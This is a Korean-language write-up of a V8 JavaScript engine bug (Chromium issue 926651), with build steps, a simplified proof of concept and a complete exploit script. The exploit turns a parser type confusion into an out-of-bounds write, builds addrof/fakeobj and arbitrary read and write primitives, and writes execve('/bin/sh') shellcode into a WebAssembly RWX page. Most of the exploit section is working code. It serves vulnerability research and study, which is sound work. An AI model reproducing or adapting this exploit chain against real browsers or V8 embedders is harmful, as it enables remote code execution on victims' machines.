목차

  • 빌드
  • POC
  • Exploit
  • 레퍼런스

빌드

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8 
cd v8 
git checkout b267f94ffca9fb90d04ffa03c910d8508c20dd26
gclient sync
build/install-build-deps.sh
tools/dev/gm.py x64.release

POC

  • POC 코드

    • https://bugs.chromium.org/p/chromium/issues/detail?id=926651

    • 총 2가지의 POC가 존재한다.

    • 근데 이 POC들은 조금 복잡하게 표현되어 있어서 단순화 시키면 다음과 같다.

      call = function (code) {
      	try { code(); } catch (e) { console.log(e); }
      }
          
      function run() {
          const f = (v1 = (function() {
      	    var v2 = 0;
      	    var v3 = 0;
              if (asdf) { return; } else { return; }
              (function() { print("not trigger") });
      	    (function() { v3 = 'A'.repeat(5000); v2 = [1, 2, 3, 4, 5, 6] });
      	})()) => 1;
      	f();
      }
          
      let oob = {};
          
      %DebugPrint(oob);      // Object map
      %DebugPrint(run);      // JSFunction
          
      call(() => (run()));
      call(() => (run()));
          
      %DebugPrint(oob);      // JSArray[6] (v2)
      %DebugPrint(run);      // Array map
          
      run[13] = 0x41414141   // oob!!
      print(oob.length)
      
  • call 함수로 run 함수를 2번 트리거하면 oob 객체는 v2라는 JSArray로, run 함수의 Map이 Array로 바뀌어 있다.

  • 이 버그는 js 코드를 파싱하고 AST를 만드는 과정에서 최적화를 하려다 꼬인 경우이다.

  • run 함수 내엔 두 가지의 익명 함수가 정의되어 있다.

    • 이 중 첫 번째 익명 함수는 트리거되지 않는다.
    • 두 번째 익명 함수는 run 함수가 2번째 call될 때 호출된다.
      • v3 = 'A'.repeat(5000); 가 실행되면 run 함수의 map이 Array map으로 변경되며 type confusion이 발생한다.
      • v2 = [1, 2, 3, 4, 5, 6] 가 실행되면 oob 객체가 지금 선언한 v2로 바뀐다.
  • run 함수의 map이 Array map으로 바뀌게 되었고 13번째 인덱스 부분을 수정하면 v2로 변한 oob의 length를 바꿀 수 있게되어서 oob가 생긴다.

  • oob가 트리거 되는 확률은 높지않다.

    • 힙쪽 oob인데, 여러 쓰레드에서 하나의 힙을 사용하다보니 힙 구성이 그때그때 달라지기 때문이다.

Exploit

  • 현 POC에선 oob가 발생하는 배열이 float가 아니어서 oob read가 되지 않는다. 그래서 v2를 float 배열로 바꿔준 후 디버깅을 통해 length offset을 다시 찾아서 0x41414141로 변경해주어야 한다.

  • 그리고 obj_arr과 float_arr을 생성해서 addroffakeobj를 만들어야하는데, 이 배열을 v2 바로 뒤에 생성하는게 oob 배열에서 접근하는 것이 더 편했다.

  • 이제 oob 배열을 통해 obj_arr_mapfloat_arr_map을 leak하고 type confusion을 일으켜서 addrof와 fakeobj를 구현하고 aar과 aaw를 만들어서 익스 하면 끝이다.

  • rwx의 offset은 버전마다 달라져서 디버깅을 해보니 현 버전에선 wasm_i_addr+0xf0n 이었다. (vmmap으로 rwx 영역 확인 후 search -t qword rwx영역 으로 검색)

  • 익스코드

    call = function (code) {
        try { code(); } catch (e) { console.log(e); }
    }
      
    function run() {
        const f = (v1 = (function() {
    	      var v2 = 0;
    	      var v3 = 0;
        	  if (asdf) { return; } else { return; }
        	  (function() { print("not trigger") });
    	      (function() {
    		      v3 = 'A'.repeat(5000);
    		      v2 = [1.1, 1.2, 1.3, 1.4];
    		      obj_arr = [{}].slice();
    		      float_arr = [1.1, 1.2, 1.3, 1.4];
    		  });
        })()) => 1;
        f();
    }
      
    let oob = {};
      
    call(() => (run()));
    call(() => (run()));
      
    run[19] = 0x41414141;
    print('oob.length: ' + hex(oob.length));
      
    var buf = new ArrayBuffer(8); 
    var f64_buf = new Float64Array(buf);
    var u64_buf = new Uint32Array(buf);
      
    function ftoi(val) { 
        f64_buf[0] = val;
        return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 
    }
      
    function itof(val) { 
        u64_buf[0] = Number(val & 0xffffffffn);
        u64_buf[1] = Number(val >> 32n);
        return f64_buf[0];
    }
      
    function hex(b) {
        return ('0x' + b.toString(16));
    }
      
    if (oob.length == 0x41414141) {
        obj_arr_map = oob[28];
        float_arr_map = oob[38];
      
        print("float_arr_map: " + hex(ftoi(float_arr_map)));
        print("obj_arr_map: " + hex(ftoi(obj_arr_map)));
      
        var arb_rw_arr = [float_arr_map, 0, 1.3, 8];
      
        function addrof(obj) {
    	      obj_arr[0] = obj;
    		  oob[28] = float_arr_map;
    		  let addr = obj_arr[0];
    		  oob[28] = obj_arr_map;
    		  return ftoi(addr);
    	  }
      
    	  function fakeobj(addr) {
    	      float_arr[0] = itof(addr);
    		  oob[38] = obj_arr_map;
    		  let fake = float_arr[0];
    		  oob[38] = float_arr_map;
      
    		  return fake;
    	  }
      
        function aar(addr) {
            let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
            arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
      
            return ftoi(fake[0]);
        }
      
        function aaw_init(addr, val) {
            fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
            arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
        	  fake[0] = itof(BigInt(val));
        }
      
    	  var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    	  var wasm_mod = new WebAssembly.Module(wasm_code);
    	  var wasm_instance = new WebAssembly.Instance(wasm_mod);
    	  var f = wasm_instance.exports.main;
    	  var wasm_i_addr = addrof(wasm_instance);
    	  var rwx = aar((wasm_i_addr)+0xf0n);
      
    	  print('rwx: ' + hex(rwx));
      
    	  var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
    	  var shellcode_buf = new ArrayBuffer(0x100);
    	  var dataview = new DataView(shellcode_buf);
    	  aaw_init(addrof(shellcode_buf)+0x20n, rwx);
      
        for (var i=0; i<shellcode.length; i++) {
    	      dataview.setUint32(4*i, shellcode[i], true);
        }
        f();	
    }
    

레퍼런스

  • https://bugs.chromium.org/p/chromium/issues/detail?id=926651